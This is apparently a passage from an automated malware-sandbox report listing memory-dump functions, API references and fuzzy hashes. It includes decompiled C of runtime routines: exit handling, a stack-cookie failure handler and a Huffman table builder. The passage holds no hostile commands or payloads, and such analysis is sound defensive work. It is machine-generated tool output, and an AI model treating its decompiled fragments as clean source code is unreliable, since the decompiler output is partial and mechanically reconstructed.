                                                                                                                                                                                          0x0040ea1f

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • _doexit.LIBCMT ref: 0040EA16
                                                                                                                                                                                            • Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
                                                                                                                                                                                            • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
                                                                                                                                                                                            • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
                                                                                                                                                                                            • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
                                                                                                                                                                                            • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
                                                                                                                                                                                            • Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
                                                                                                                                                                                            • Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
                                                                                                                                                                                            • Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __decode_pointer$__initterm$__lock_doexit
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 1597249276-0
                                                                                                                                                                                          • Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
                                                                                                                                                                                          • Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
                                                                                                                                                                                          • Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
                                                                                                                                                                                          • Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00810920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00810929
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ProcessTerminate
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 560597551-0
                                                                                                                                                                                          • Opcode ID: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
                                                                                                                                                                                          • Instruction ID: 30f3d7182eefe4c983e93399632d1765ae8032794c4adb82b9e2ac84a56656d9
                                                                                                                                                                                          • Opcode Fuzzy Hash: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
                                                                                                                                                                                          • Instruction Fuzzy Hash: EE90026074415011D82025AC0C02B0500121751634F344B107130AD1E4D840D6400115
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Non-executed Functions

                                                                                                                                                                                          Function 0081D059, Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • IsDebuggerPresent.KERNEL32 ref: 00823944
                                                                                                                                                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00823959
                                                                                                                                                                                          • UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00823964
                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(C0000409), ref: 00823980
                                                                                                                                                                                          • TerminateProcess.KERNEL32(00000000), ref: 00823987
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 2579439406-0
                                                                                                                                                                                          • Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                                                                                                                                                                          • Instruction ID: 1289b4d364dc528634ce2832c0cd85104185bd6873c35afabc1c08e05a059763
                                                                                                                                                                                          • Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                                                                                                                                                                          • Instruction Fuzzy Hash: 8A21F2B8A01204EFD720DF65F95A6457FB0FB08316F80407AE50887262E7B8A682CF5D
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040CE09, Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 85%
                                                                                                                                                                                          			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0x651555e9
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0x651555e9
				_v812 = _t12;
				_t13 =  *0x422238; // 0x9aeaaa16
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}



















                                                                                                                                                                                          0x0040ce09
                                                                                                                                                                                          0x0040ce09
                                                                                                                                                                                          0x0040ce09
                                                                                                                                                                                          0x0040ce09
                                                                                                                                                                                          0x0040ce09
                                                                                                                                                                                          0x0040ce09
                                                                                                                                                                                          0x0040ce09
                                                                                                                                                                                          0x0040ce0f
                                                                                                                                                                                          0x0040ce11
                                                                                                                                                                                          0x0040ce11
                                                                                                                                                                                          0x00413644
                                                                                                                                                                                          0x00413649
                                                                                                                                                                                          0x0041364f
                                                                                                                                                                                          0x00413655
                                                                                                                                                                                          0x0041365b
                                                                                                                                                                                          0x00413661
                                                                                                                                                                                          0x00413667
                                                                                                                                                                                          0x0041366e
                                                                                                                                                                                          0x00413675
                                                                                                                                                                                          0x0041367c
                                                                                                                                                                                          0x00413683
                                                                                                                                                                                          0x0041368a
                                                                                                                                                                                          0x00413691
                                                                                                                                                                                          0x00413692
                                                                                                                                                                                          0x0041369b
                                                                                                                                                                                          0x004136a3
                                                                                                                                                                                          0x004136ab
                                                                                                                                                                                          0x004136b6
                                                                                                                                                                                          0x004136c0
                                                                                                                                                                                          0x004136c5
                                                                                                                                                                                          0x004136ca
                                                                                                                                                                                          0x004136d4
                                                                                                                                                                                          0x004136de
                                                                                                                                                                                          0x004136e3
                                                                                                                                                                                          0x004136e9
                                                                                                                                                                                          0x004136ee
                                                                                                                                                                                          0x004136fa
                                                                                                                                                                                          0x004136ff
                                                                                                                                                                                          0x00413701
                                                                                                                                                                                          0x00413709
                                                                                                                                                                                          0x00413714
                                                                                                                                                                                          0x00413721
                                                                                                                                                                                          0x00413723
                                                                                                                                                                                          0x00413725
                                                                                                                                                                                          0x0041372a
                                                                                                                                                                                          0x0041373e

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • IsDebuggerPresent.KERNEL32 ref: 004136F4
                                                                                                                                                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
                                                                                                                                                                                          • UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
                                                                                                                                                                                          • TerminateProcess.KERNEL32(00000000), ref: 00413737
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 2579439406-0
                                                                                                                                                                                          • Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                                                                                                                                                                          • Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
                                                                                                                                                                                          • Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                                                                                                                                                                          • Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00818EB0, Relevance: 4.1, Strings: 3, Instructions: 377COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID: @$@$PA
                                                                                                                                                                                          • API String ID: 0-3039612711
                                                                                                                                                                                          • Opcode ID: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
                                                                                                                                                                                          • Instruction ID: e5ea12711cbd485cadd61ddb5d95720fb4d81befb24ef17fa6e954f7bf72521a
                                                                                                                                                                                          • Opcode Fuzzy Hash: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
                                                                                                                                                                                          • Instruction Fuzzy Hash: A7E179356083428FC724DF28C4946AAB7E5FF98314F24492DE8D9D7350EB75D98ACB82
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00408C60, Relevance: 2.9, Strings: 2, Instructions: 377COMMONCrypto
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 100%
                                                                                                                                                                                          			E00408C60(signed int _a4, intOrPtr _a8, signed int _a12, intOrPtr* _a16, signed int* _a20, signed short* _a24) {
				short _v30;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				signed int _v96;
				signed int _v100;
				signed short* _v104;
				intOrPtr _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed short _v122;
				signed int _v123;
				char _v124;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t214;
				void* _t216;
				signed int _t217;
				signed int _t219;
				intOrPtr _t220;
				signed int _t223;
				signed short _t225;
				signed int _t226;
				signed int _t228;
				signed int _t233;
				signed int _t240;
				signed int _t248;
				signed int _t251;
				void* _t254;
				signed int _t260;
				intOrPtr* _t261;
				signed int _t263;
				signed int _t264;
				signed int _t265;
				short _t270;
				intOrPtr* _t281;
				signed char _t285;
				signed int _t297;
				signed int _t299;
				intOrPtr _t305;
				signed int _t308;
				signed int _t309;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t327;
				signed int _t333;
				signed int _t336;
				char _t337;
				intOrPtr* _t340;
				signed int* _t343;
				signed int _t344;
				signed short* _t345;
				signed int _t348;
				intOrPtr* _t349;
				signed short* _t350;
				intOrPtr _t351;
				intOrPtr _t352;
				signed int _t353;
				void* _t354;

				_t354 =  &_v124;
				_t308 = _a12;
				_t352 = _a8;
				_v64 = 0xbadbad;
				_v60 = 0 << 0x10;
				_v56 = 0 << 0x10;
				_v52 = 0 << 0x10;
				_v48 = 0 << 0x10;
				_v44 = 0 << 0x10;
				_v40 = 0 << 0x10;
				_v36 = 0 << 0x10;
				_t211 = 0;
				if(_t308 > 0) {
					do {
						 *((short*)(_t354 + 0x48 + ( *(_t352 + _t211 * 2) & 0x0000ffff) * 2)) =  *((short*)(_t354 + 0x48 + ( *(_t352 + _t211 * 2) & 0x0000ffff) * 2)) + 1;
						_t211 = _t211 + 1;
					} while (_t211 < _t308);
				}
				_t343 = _a20;
				_t212 =  *_t343;
				_v120 = _t212;
				_t263 = 0xf;
				while( *((short*)(_t354 + 0x48 + _t263 * 2)) == 0) {
					_t263 = _t263 - 1;
					if(_t263 >= 1) {
						continue;
					}
					break;
				}
				_v112 = _t263;
				if(_t212 > _t263) {
					_v120 = _t263;
				}
				if(_t263 != 0) {
					_t344 = 1;
					while(1) {
						__eflags =  *((short*)(_t354 + 0x48 + _t344 * 2));
						if( *((short*)(_t354 + 0x48 + _t344 * 2)) != 0) {
							break;
						}
						__eflags =  *((short*)(_t354 + 0x4a + _t344 * 2));
						if( *((short*)(_t354 + 0x4a + _t344 * 2)) != 0) {
							_t344 = _t344 + 1;
						} else {
							__eflags =  *((short*)(_t354 + 0x4c + _t344 * 2));
							if( *((short*)(_t354 + 0x4c + _t344 * 2)) != 0) {
								_t344 = _t344 + 2;
							} else {
								__eflags =  *((short*)(_t354 + 0x4e + _t344 * 2));
								if( *((short*)(_t354 + 0x4e + _t344 * 2)) != 0) {
									_t344 = _t344 + 3;
								} else {
									__eflags =  *((short*)(_t354 + 0x50 + _t344 * 2));
									if( *((short*)(_t354 + 0x50 + _t344 * 2)) != 0) {
										_t344 = _t344 + 4;
										__eflags = _t344;
									} else {
										_t344 = _t344 + 5;
										__eflags = _t344 - 0xf;
										if(_t344 <= 0xf) {
											continue;
										} else {
										}
									}
								}
							}
						}
						break;
					}
					__eflags = _v120 - _t344;
					if(_v120 < _t344) {
						_v120 = _t344;
					}
					_t309 = 1;
					_t213 = 1;
					while(1) {
						_t309 = _t309 + _t309 - ( *(_t354 + 0x48 + _t213 * 2) & 0x0000ffff);
						__eflags = _t309;
						if(_t309 < 0) {
							break;
						}
						_t213 = _t213 + 1;
						__eflags = _t213 - 0xf;
						if(_t213 <= 0xf) {
							continue;
						} else {
							_t333 = _a4;
							__eflags = _t309;
							if(_t309 <= 0) {
								L32:
								_v30 = 0;
								_t216 = 2;
								do {
									_t270 =  *((intOrPtr*)(_t354 + _t216 + 0x6c)) +  *((intOrPtr*)(_t354 + _t216 + 0x4c));
									_t216 = _t216 + 2;
									 *((short*)(_t354 + _t216 + 0x6c)) = _t270;
									__eflags = _t216 - 0x1e;
								} while (_t216 < 0x1e);
								_t264 = _a12;
								_t217 = 0;
								__eflags = _t264;
								if(_t264 > 0) {
									do {
										__eflags =  *(_t352 + _t217 * 2);
										if( *(_t352 + _t217 * 2) != 0) {
											 *(_a24 + ( *(_t354 + 0x6c + ( *(_t352 + _t217 * 2) & 0x0000ffff) * 2) & 0x0000ffff) * 2) = _t217;
											_t327 =  *(_t352 + _t217 * 2) & 0x0000ffff;
											_t75 = _t354 + 0x6c + _t327 * 2;
											 *_t75 =  *(_t354 + 0x6c + _t327 * 2) + 1;
											__eflags =  *_t75;
										}
										_t217 = _t217 + 1;
										__eflags = _t217 - _t264;
									} while (_t217 < _t264);
								}
								_t219 = _t333;
								__eflags = _t219;
								if(_t219 == 0) {
									_t220 = _a24;
									_v88 = _t220;
									_v96 = 0x13;
									goto L43;
								} else {
									__eflags = _t219 == 1;
									if(_t219 == 1) {
										_v88 = 0x41e28e;
										_t220 = 0x41e2ce;
										_v96 = 0x100;
										L43:
										_v92 = _t220;
									} else {
										_v88 = 0x41e510;
										_v92 = 0x41e550;
										_v96 = 0xffffffff;
									}
								}
								_v108 =  *_a16;
								_t223 = 1 << _v120;
								_v84 = 0xffffffff;
								_t353 = 0;
								_t265 = 0;
								_t97 = _t223 - 1; // 0x0
								_v116 = _t344;
								_v80 = 1;
								_v100 = 1;
								_v76 = _t97;
								__eflags = _t333 - 1;
								if(_t333 != 1) {
									L46:
									_v104 = _a24;
									while(1) {
										L47:
										_t345 = _v104;
										_t225 =  *_t345 & 0x0000ffff;
										_v123 = _v116 - _t265;
										__eflags = (_t225 & 0x0000ffff) - _v96;
										if(__eflags >= 0) {
											if(__eflags <= 0) {
												__eflags = 0;
												_v124 = 0x60;
												_v122 = 0;
											} else {
												_t254 = ( *_t345 & 0x0000ffff) + ( *_t345 & 0x0000ffff);
												_v124 =  *((intOrPtr*)(_t254 + _v92));
												_v122 =  *((intOrPtr*)(_t254 + _v88));
											}
										} else {
											_v124 = 0;
											_v122 = _t225;
										}
										_t226 = _v80;
										_v72 = _t226;
										_t336 = (_t353 >> _t265) + _t226;
										__eflags = _t336;
										_t281 = _v108 + _t336 * 4;
										_t337 = _v124;
										do {
											L53:
											_t226 = _t226 - 1;
											_t281 = _t281 - 4;
											 *_t281 = _t337;
											__eflags = _t226;
										} while (_t226 != 0);
										_t316 = _v116;
										_t228 = 1 << _t316 - 1;
										__eflags = _t353 & 0x00000001;
										if((_t353 & 0x00000001) != 0) {
											do {
												_t228 = _t228 >> 1;
												__eflags = _t353 & _t228;
											} while ((_t353 & _t228) != 0);
										}
										__eflags = _t228;
										if(_t228 == 0) {
											_t353 = 0;
											__eflags = 0;
										} else {
											_t132 = _t228 - 1; // 0x0
											_t353 = (_t132 & _t353) + _t228;
										}
										_v104 =  &(_v104[1]);
										 *(_t354 + 0x4c + _t316 * 2) =  *(_t354 + 0x4c + _t316 * 2) + 0xffff;
										__eflags =  *(_t354 + 0x4c + _t316 * 2) & 0x0000ffff;
										if(( *(_t354 + 0x4c + _t316 * 2) & 0x0000ffff) != 0) {
											L62:
											__eflags = _t316 - _v120;
											if(_t316 <= _v120) {
												L47:
												_t345 = _v104;
												_t225 =  *_t345 & 0x0000ffff;
												_v123 = _v116 - _t265;
												__eflags = (_t225 & 0x0000ffff) - _v96;
												if(__eflags >= 0) {
													if(__eflags <= 0) {
														__eflags = 0;
														_v124 = 0x60;
														_v122 = 0;
													} else {
														_t254 = ( *_t345 & 0x0000ffff) + ( *_t345 & 0x0000ffff);
														_v124 =  *((intOrPtr*)(_t254 + _v92));
														_v122 =  *((intOrPtr*)(_t254 + _v88));
													}
												} else {
													_v124 = 0;
													_v122 = _t225;
												}
												_t226 = _v80;
												_v72 = _t226;
												_t336 = (_t353 >> _t265) + _t226;
												__eflags = _t336;
												_t281 = _v108 + _t336 * 4;
												_t337 = _v124;
												goto L53;
											} else {
												L63:
												_t348 = _v76 & _t353;
												_v68 = _t348;
												__eflags = _t348 - _v84;
												if(_t348 == _v84) {
													continue;
												} else {
													L64:
													__eflags = _t265;
													if(_t265 == 0) {
														_t265 = _v120;
													}
													_v108 = _v108 + _v72 * 4;
													_t285 = _v116 - _t265;
													_t318 = _t265 + _t285;
													_t233 = 1 << _t285;
													__eflags = _t318 - _v112;
													if(_t318 < _v112) {
														_t350 = _t354 + 0x4c + _t318 * 2;
														while(1) {
															_t240 = _t233 - ( *_t350 & 0x0000ffff);
															__eflags = _t240;
															if(_t240 <= 0) {
																break;
															}
															_t318 = _t318 + 1;
															_t285 = _t285 + 1;
															_t350 =  &(_t350[1]);
															_t233 = _t240 + _t240;
															__eflags = _t318 - _v112;
															if(_t318 < _v112) {
																continue;
															}
															break;
														}
														_t348 = _v68;
													}
													_v100 = _v100 + 1;
													__eflags = _a4 - 1;
													_v80 = 1 << _t285;
													if(_a4 != 1) {
														L73:
														_t319 = _t348;
														_t349 = _a16;
														 *( *_t349 + _t319 * 4) = _t285;
														 *((char*)( *_t349 + 1 + _t319 * 4)) = _v120;
														_v84 = _t319;
														 *((short*)( *_t349 + 2 + _t319 * 4)) = _v108 -  *_t349 >> 2;
														continue;
														do {
															do {
																goto L47;
															} while (_t316 <= _v120);
															goto L63;
														} while (_t348 == _v84);
														goto L64;
													} else {
														__eflags = _v100 - 0x5b0;
														if(_v100 >= 0x5b0) {
															goto L84;
														} else {
															goto L73;
														}
													}
												}
											}
										} else {
											__eflags = _t316 - _v112;
											if(_t316 == _v112) {
												_t340 = _a16;
												_v124 = 0x40;
												_v123 = _t316 - _t265;
												_v122 = 0;
												__eflags = _t353;
												if(_t353 != 0) {
													_t351 = _v108;
													do {
														__eflags = _t265;
														if(_t265 != 0) {
															__eflags = (_v76 & _t353) - _v84;
															if((_v76 & _t353) != _v84) {
																_t251 = _v120;
																_t351 =  *_t340;
																_t265 = 0;
																__eflags = 0;
																_v116 = _t251;
																_v123 = _t251;
																_t316 = _t251;
															}
														}
														 *((intOrPtr*)(_t351 + (_t353 >> _t265) * 4)) = _v124;
														_t248 = 1 << _t316 - 1;
														__eflags = _t353 & 0x00000001;
														if((_t353 & 0x00000001) != 0) {
															do {
																_t248 = _t248 >> 1;
																__eflags = _t353 & _t248;
															} while ((_t353 & _t248) != 0);
														}
														__eflags = _t248;
														if(_t248 != 0) {
															goto L82;
														}
														goto L83;
														L82:
														_t203 = _t248 - 1; // 0x0
														_t297 = (_t203 & _t353) + _t248;
														__eflags = _t297;
														_t353 = _t297;
													} while (_t297 != 0);
												}
												L83:
												 *_t340 =  *_t340 + _v100 * 4;
												 *_a20 = _v120;
												__eflags = 0;
												return 0;
											} else {
												_t299 =  *(_a8 + ( *_v104 & 0x0000ffff) * 2) & 0x0000ffff;
												_v116 = _t299;
												_t316 = _t299;
												goto L62;
											}
										}
										goto L85;
									}
								} else {
									__eflags = _t223 - 0x5b0;
									if(_t223 >= 0x5b0) {
										L84:
										return 1;
									} else {
										goto L46;
									}
								}
							} else {
								__eflags = _t333;
								if(_t333 == 0) {
									L30:
									_t260 = _t213 | 0xffffffff;
									__eflags = _t260;
									return _t260;
								} else {
									__eflags = _t263 - 1;
									if(_t263 == 1) {
										goto L32;
									} else {
										goto L30;
									}
								}
							}
						}
						goto L85;
					}
					_t214 = _t213 | 0xffffffff;
					__eflags = _t214;
					return _t214;
				} else {
					_t261 = _a16;
					_v122 = 0;
					_v124 = 0x40;
					_v123 = 1;
					_t305 = _v124;
					 *((intOrPtr*)( *_t261)) = _t305;
					 *_t261 =  *_t261 + 4;
					 *((intOrPtr*)( *_t261)) = _t305;
					 *_t261 =  *_t261 + 4;
					 *_t343 = 1;
					return 0;
				}
				L85:
			}













































































                                                                                                                                                                                          0x00408c60
                                                                                                                                                                                          0x00408c63
                                                                                                                                                                                          0x00408c78
                                                                                                                                                                                          0x00408c7f
                                                                                                                                                                                          0x00408c83
                                                                                                                                                                                          0x00408c87
                                                                                                                                                                                          0x00408c8b
                                                                                                                                                                                          0x00408c8f
                                                                                                                                                                                          0x00408c93
                                                                                                                                                                                          0x00408c97
                                                                                                                                                                                          0x00408c9b
                                                                                                                                                                                          0x00408c9f
                                                                                                                                                                                          0x00408ca4
                                                                                                                                                                                          0x00408cb0
                                                                                                                                                                                          0x00408cb5
                                                                                                                                                                                          0x00408cbe
                                                                                                                                                                                          0x00408cbf
                                                                                                                                                                                          0x00408cb0
                                                                                                                                                                                          0x00408cc3
                                                                                                                                                                                          0x00408cca
                                                                                                                                                                                          0x00408ccc
                                                                                                                                                                                          0x00408cd0
                                                                                                                                                                                          0x00408cd5
                                                                                                                                                                                          0x00408cdd
                                                                                                                                                                                          0x00408ce1
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408ce1
                                                                                                                                                                                          0x00408ce3
                                                                                                                                                                                          0x00408ce9
                                                                                                                                                                                          0x00408ceb
                                                                                                                                                                                          0x00408ceb
                                                                                                                                                                                          0x00408cf1
                                                                                                                                                                                          0x00408d2c
                                                                                                                                                                                          0x00408d31
                                                                                                                                                                                          0x00408d31
                                                                                                                                                                                          0x00408d37
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408d39
                                                                                                                                                                                          0x00408d3f
                                                                                                                                                                                          0x00408d63
                                                                                                                                                                                          0x00408d41
                                                                                                                                                                                          0x00408d41
                                                                                                                                                                                          0x00408d47
                                                                                                                                                                                          0x00408d66
                                                                                                                                                                                          0x00408d49
                                                                                                                                                                                          0x00408d49
                                                                                                                                                                                          0x00408d4f
                                                                                                                                                                                          0x00408d6b
                                                                                                                                                                                          0x00408d51
                                                                                                                                                                                          0x00408d51
                                                                                                                                                                                          0x00408d57
                                                                                                                                                                                          0x00408d70
                                                                                                                                                                                          0x00408d70
                                                                                                                                                                                          0x00408d59
                                                                                                                                                                                          0x00408d59
                                                                                                                                                                                          0x00408d5c
                                                                                                                                                                                          0x00408d5f
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408d61
                                                                                                                                                                                          0x00408d5f
                                                                                                                                                                                          0x00408d57
                                                                                                                                                                                          0x00408d4f
                                                                                                                                                                                          0x00408d47
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408d3f
                                                                                                                                                                                          0x00408d73
                                                                                                                                                                                          0x00408d77
                                                                                                                                                                                          0x00408d79
                                                                                                                                                                                          0x00408d79
                                                                                                                                                                                          0x00408d7d
                                                                                                                                                                                          0x00408d82
                                                                                                                                                                                          0x00408d84
                                                                                                                                                                                          0x00408d8b
                                                                                                                                                                                          0x00408d8b
                                                                                                                                                                                          0x00408d8d
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408d8f
                                                                                                                                                                                          0x00408d90
                                                                                                                                                                                          0x00408d93
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408d95
                                                                                                                                                                                          0x00408d96
                                                                                                                                                                                          0x00408d9d
                                                                                                                                                                                          0x00408d9f
                                                                                                                                                                                          0x00408dbf
                                                                                                                                                                                          0x00408dc1
                                                                                                                                                                                          0x00408dc6
                                                                                                                                                                                          0x00408dd0
                                                                                                                                                                                          0x00408dd5
                                                                                                                                                                                          0x00408dda
                                                                                                                                                                                          0x00408ddd
                                                                                                                                                                                          0x00408de2
                                                                                                                                                                                          0x00408de2
                                                                                                                                                                                          0x00408de7
                                                                                                                                                                                          0x00408dee
                                                                                                                                                                                          0x00408df0
                                                                                                                                                                                          0x00408df2
                                                                                                                                                                                          0x00408df4
                                                                                                                                                                                          0x00408df4
                                                                                                                                                                                          0x00408dfa
                                                                                                                                                                                          0x00408e0d
                                                                                                                                                                                          0x00408e11
                                                                                                                                                                                          0x00408e16
                                                                                                                                                                                          0x00408e16
                                                                                                                                                                                          0x00408e16
                                                                                                                                                                                          0x00408e1b
                                                                                                                                                                                          0x00408e1f
                                                                                                                                                                                          0x00408e20
                                                                                                                                                                                          0x00408e20
                                                                                                                                                                                          0x00408df4
                                                                                                                                                                                          0x00408e26
                                                                                                                                                                                          0x00408e26
                                                                                                                                                                                          0x00408e2e
                                                                                                                                                                                          0x00408e6d
                                                                                                                                                                                          0x00408e74
                                                                                                                                                                                          0x00408e78
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408e30
                                                                                                                                                                                          0x00408e30
                                                                                                                                                                                          0x00408e33
                                                                                                                                                                                          0x00408e55
                                                                                                                                                                                          0x00408e5e
                                                                                                                                                                                          0x00408e63
                                                                                                                                                                                          0x00408e80
                                                                                                                                                                                          0x00408e80
                                                                                                                                                                                          0x00408e35
                                                                                                                                                                                          0x00408e35
                                                                                                                                                                                          0x00408e3d
                                                                                                                                                                                          0x00408e45
                                                                                                                                                                                          0x00408e45
                                                                                                                                                                                          0x00408e33
                                                                                                                                                                                          0x00408e8d
                                                                                                                                                                                          0x00408e9a
                                                                                                                                                                                          0x00408e9c
                                                                                                                                                                                          0x00408ea0
                                                                                                                                                                                          0x00408ea2
                                                                                                                                                                                          0x00408ea4
                                                                                                                                                                                          0x00408ea7
                                                                                                                                                                                          0x00408eab
                                                                                                                                                                                          0x00408eaf
                                                                                                                                                                                          0x00408eb3
                                                                                                                                                                                          0x00408eb7
                                                                                                                                                                                          0x00408eba
                                                                                                                                                                                          0x00408ec7
                                                                                                                                                                                          0x00408ece
